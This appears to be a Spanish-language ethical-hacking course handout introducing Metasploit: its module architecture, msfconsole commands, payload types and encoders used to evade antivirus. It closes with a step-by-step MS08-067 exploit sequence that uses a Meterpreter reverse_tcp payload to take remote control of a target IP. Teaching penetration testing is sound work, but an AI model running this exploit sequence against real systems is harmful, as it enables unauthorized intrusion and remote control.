Ethical Hacking - Clase 4

Descargar como pdf o txt
Descargar como pdf o txt
Está en la página 1de 6

https://alumni.educacionit.

com/clases/indice/id/315/classId/1181

Introducción a Metasploit
Metasploit es un Framework multiplataforma escrito en Ruby que abstrae las
tareas típicas de una intrusión, ofreciendo un esquema modular donde combinar
e integrar distintos tipos de exploits y herramientas de acceso y control de
equipos y servicios comprometidos. Incluye también módulos adicionales para
las fases de rastreo y enumeración.

Arquitectura de Metasploit

Metasploit sigue un arquitectura modular, organizada alrededor de un núcleo que


estructura la aplicación y ofrece las funcionalidades básicas.

Exploits

Piezas de código que explotan una vulnerabilidad concreta que permite un


acceso no previsto. Suelen ser específicas del sistema operativo y de la versión
concreta del servicio, aunque hay algunos exploits independientes de la
plataforma.
Su uso principal es como ''vector'' para la inyección de un payload específico que
ofrezca al atacante algún tipo de acceso y/o control del equipo compometido.

Payloads

Piezas de código que permiten algún tipo de acceso o control sobre un equipo
que ha sido comprometido mediante la explotación de alguna vulnerabilidad.
Suelen ser específicos del sistema operativo, aunque algunos basados en Java o
lenguajes de Script son independientes de la plataforma.
Uno de los payloads más potentes que ofrece Metasploit es Meterpreter. Se trata
de un payload que ofrece un intérprete de comandos en el sistema
comprometido, complementado con una serie de comandos específicos que
soportan tareas típicas de una intrusión (recopilación de información del sistema
comprometidos, keylogger, ocultación de rastros, etc).

Auxiliary

Módulos auxiliares que automatizan tareas complementarias empleadas


habitualmente en test de intrusión. Fundamentalmente se trata de diversos tipos
de escáners: escáner de puertos genéricos ó escáneres especifícos para
aplicaciones/servicios concretos.
También se proveen módulos para recopilar credenciales de acceso basados en
diccionarios o romper contraseñas, enumeradores de directorios, herramientas
para recopilación de información de red y una colección de fuzzers que generan
cadenas de entrada aletorias con las que detectar posibles vulnerabilides en la
validación de entradas.

Post

1 de 6 11/11/2013 12:43 p.m.


https://alumni.educacionit.com/clases/indice/id/315/classId/1181

Piezas de código específicas de cada arquitectura o aplicación que automatizan


tareas relativas al mantenimiento, extensión y/o ocultación del acceso a equipos
comprometidos. Fundamentalmente ofrecen funcionalidades para recopilar
información del sistema comprometidos (servicios, usuarios, archivos, ...), para
escalar privilegios obteniendo credenciales de administrador o para ocultar el
rasto de la explotación.

Nops

Módulos complementarios usados para generar distintos tipos de códigos NOP


(No operation) para diferentes arquitecturas y CPUs a utilizar en el código de los
exploits y sus respectivos payloads.

Encoders

Módulos complementarios utilizados para ofuscar y ocultar el código de los


exploits y sus respectivos payloads empleando diversos tipos de codificación.
Son un mecanismo de evasión para evitar la detección del ataque por parte de
IDS (sistemas de detección de intrusiones) o antivirus.

msfconsole

Hay diferentes interfaces para el framework Metasploit, cada uno con sus
ventajas y desventajas. Como tal, no hay una interfaz perfecta para usar con
MSF, aunque msfconsole es la única forma soportada para acceder a la mayoría
de las características del Framework. Es por eso que, de ahora en adelante,
vamos a hablar solamente de la utilización de msfconsole.

Obteniendo ayuda

Escribiendo "help" o "?" en el command pront de msf, mostrara una lista de los
comandos disponibles junto una descripción de su uso.

Autocompletado

Una de las características mas útiles de msfconsole es la completación con la


tecla 'Tab'. Con la gran variedad de módulos disponibles, puede ser difícil
recordar el nombre exacto y ruta de algún modulo en particular que se quiera
usar. Como en la mayoría de los shells, escribiendo lo que sabes y presionando
"Tab" mostrará una lista de las opciones disponibles o se auto completara la
palabra si hay una sola opción.

Comando "show"

Introduciendo "show" en el promt de msfconsole mostrara cada modulo


disponible en Metasploit.
Hay una variedad de comandos "show" que podemos utilizar, pero los que
vamos a utilizar con mas frecuencia son "show auxiliary", "show exploits" y
"show payloads".
Como podemos ver, hay muchos payloads disponibles. Afortunadamente cuando

2 de 6 11/11/2013 12:43 p.m.


https://alumni.educacionit.com/clases/indice/id/315/classId/1181

estamos utilizando un exploit determinado, usando "show payloads" solo


veremos los payloads que son compatibles para ese particular exploit. Por
ejemplo, si es un exploit para Windows, no se mostraran los payloads para
Linux.
Si hemos seleccionado un modulo especifico, podemos utilizar el comando "show
options" para mostrar las opciones disponibles y/o requeridas para ese modulo
en especifico.
Si no estamos seguros de si un sistema operativo es vulnerable a un particular
exploit, podemos ejecutar el comando "show targets" dentro del contexto de un
modulo de exploit para ver que objetivos están soportados.
Si deseamos seguir mejorando un exploit, podemos ver las opciones avanzadas
ejecutando "show advanced".

Comando "search"

El msfconsole incluye una funcionalidad de búsqueda basada en expresiones


regulares. Si tenemos alguna idea general de lo que estamos buscando,
podemos buscarlo con "search".

Comando "info"

El comando "info" proporciona informacion detallada sobre un determinado


modulo incluyendo todas las opciones, objetivos, y otras informaciones.

Comando "use"

Cuando se ha decidido por un modulo en particular, utilizamos el comando "use"


para seleccionarlo.

Comando "connect"

Utilizando el comando "connect" con una dirección IP y un numero de puerto,


podemos conectarnos a un host remoto desde msfconsole igual como si
usaramos netcat o telnet.

Comando "set"

El comando "set" es usado para configurar las opciones del modulo que
actualmente estamos utilizando.

Comando "check"

No hay muchos exploits que lo soporten, pero hay una opcion de "check" la cual
comprueba si el objetivo es vulnerable a un exploit en particular en lugar de
explotarla.

Variables globales

3 de 6 11/11/2013 12:43 p.m.


https://alumni.educacionit.com/clases/indice/id/315/classId/1181

Con el fin de no escribir mucho durante un pentest, podemos establecer


variables globales dentro de msfconsole. Podemos hacer esto con el comando
"setg". Una vez que se ha establecido, la podemos utilizar en muchos exploits y
módulos auxiliares a nuestro gusto. Tambien la podemos guardar para usarlo la
próxima vez que utilicemos msfconsole.
Sin embargo, ciertos datos no son guardados, así que siempre debemos revisar
las opciones definidas antes de usar "run" o "exploit". Por el contrario, podemos
usar el comando "unsetg" para eliminar una variable global. Metasploit no es
sensible a las mayúsculas (es lo mismo definir una variable en mayúsculas que
en minúsculas)

Comando "exploit/run"

Para lanzar un exploit, podemos usar el comando "exploit" mientras que si


usamos un modulo auxiliar, el uso correcto es "run" aunque "exploit" funciona
tambien.

Comando "back"

Cuando hayamos terminado de usar un módulo, o si seleccionamos el módulo


equivocado, podemos usar el comando "back" para salir de ese contexto. Esto,
sin embargo no es requerido, porque podemos cambiar de módulo estando
dentro de otro. Como recordatorio, las variables son cambiadas si son
establecidas globalmente.

Comando "resource"

Algunos ataques como Karmetasploit usan archivos adicionales que se pueden


cargar a través de msfconsole usando el comando "resource". Estos archivos son
unos scripts básicos para msfconsole. Ejecutan los comandos del archivo en
secuencia. Mas adelante lo discutiremos, fuera de Karmetasploit, esto puede ser
muy útil.

Comando "irb"

Si ejecutamos el comando "irb", cambiara al modo de edición de scripts en ruby,


donde podrá usar comandos y crear scripts en el momento.

Payloads

Metasploit contiene muchos tipos diferentes de payloads, cada uno cumple un rol
único dentro del framework. Echemos un vistazo a los varios tipos de payloads
disponibles para hacernos una idea de cuando deberia utilizarse cada uno.

En Linea (No Efectuado, Non Staged)

Un payload único conteniendo el exploit y el codigo shell completo para la tarea


seleccionada. Los payloads en linea son mas estables por diseño que sus
contrapartes porque contienen todo en uno. Sin embargo algunos exploits no
soportaran el tamaño resultante de estos payloads.

4 de 6 11/11/2013 12:43 p.m.


https://alumni.educacionit.com/clases/indice/id/315/classId/1181

Efectuado (Staged)

Los payloads stager trabajan conjuntamente con los payloads stage para llevar a
cabo una tarea especifica. Un stager establece un canal de comunicacion entre el
atacante y la victima y lee en un payload efectuado lo que debe ejecutar en el
host remoto.

Meterpreter

Meterpreter, es el diminutivo de Meta-Interpreter, y es un payload avanzado,


multi-facetico, que opera por medio de inyeccion en librerias dinamicas (dll). El
Meterpreter reside completamente en la memoria del host remoto y no deja
rastros en el disco duro, haciendolo muy dificil de detectar con tecnicas forenses
convencionales. Los scripts y plugins se pueden cargar y descargar
dinamicamente segun se necesitan, y el desarrollo del Meterpreter es muy
poderoso y en constante evolución.

PassiveX

PassiveX es un payload que puede ayudar a evitar cortafuegos con la salida


restringida. Esto lo realiza utilizando un control ActiveX para crear una instancia
oculta de Internet Explorer. Utilizando el nuevo control ActiveX, se comunica con
el atacante por medio de peticiones y respuestas HTTP.

NoNX

El bit NX (No eXecute) es una caracteristica incorporada en algunas CPUs para


prevenir que se ejecute codigo en ciertas areas de la memoria, En Windows, NX
esta implementado como Data Execution Prevention (DEP), Prevención de
Ejecución de Datos. Los payloads NoNX de Metasploit estan diseñados para
evitar DEP.

Ord

Los payloads Ordinales son payloads stager basados en Windows que tienen
distintas ventajas y desventajas. Las ventajas son que trabajan en cualquier
sabor y lenguaje de Windows a partir de Windows 9x sin la definicion explicita de
una direccion de retorno. Tambien son extremadamente pequeños. Sin embargo,
dos desventajas muy especificas hacen que no sean la opción por defecto. La
primera reside en el hecho de que ws2_32.dll se carga en el proceso que esta
siendo explotado antes de la explotacion. La segunda es que es un poco menos
estable que los otros stagers.

IPv6

Los payloads IPv6 de Metasploit, como indica su nombre, han sido construidos
para funcionar sobre redes IPv6.

Inyeccion DLL Reflectiva

5 de 6 11/11/2013 12:43 p.m.


https://alumni.educacionit.com/clases/indice/id/315/classId/1181

La Inyeccion DLL Reflectiva es una ténica mediante la cual un stage payload es


inyectado en un proceso corriendo en la memoria del host comprometido, sin
tocar nunca el disco duro del host. Ambos payloads VNC y Meterpreter hacen
uso de la inyecccion DLL reflectiva.

Uso Rápido

Como un ejemplo rápido de utilización de Metasploit, podemos citar lo siguientes


pasos:
1. use nombre_del_exploit
2. set payload_a_utilizar
3. set variables_que_correspondan
4. exploit

Abajo, un ejemplo práctico:


use exploit/windows/smb/ms08_067_netapi
(el exploit que vamos a utilizar)
set PAYLOAD windows/meterpreter/reverse_tcp
(el payload que vamos a utilizar)
set RHOST 192.168.1.15
(la IP del equipo que vamos a atacar)
set LHOST 0.0.0.0
(queremos recibir la conexión del payload a través de cualquier IP)
exploit
(lanzamos el exploit)

Si el equipo remoto es vulnerable al exploit que utilizamos, y todo sale bien,


tendremos control remoto del dispositivo que acabamos de atacar.

6 de 6 11/11/2013 12:43 p.m.

También podría gustarte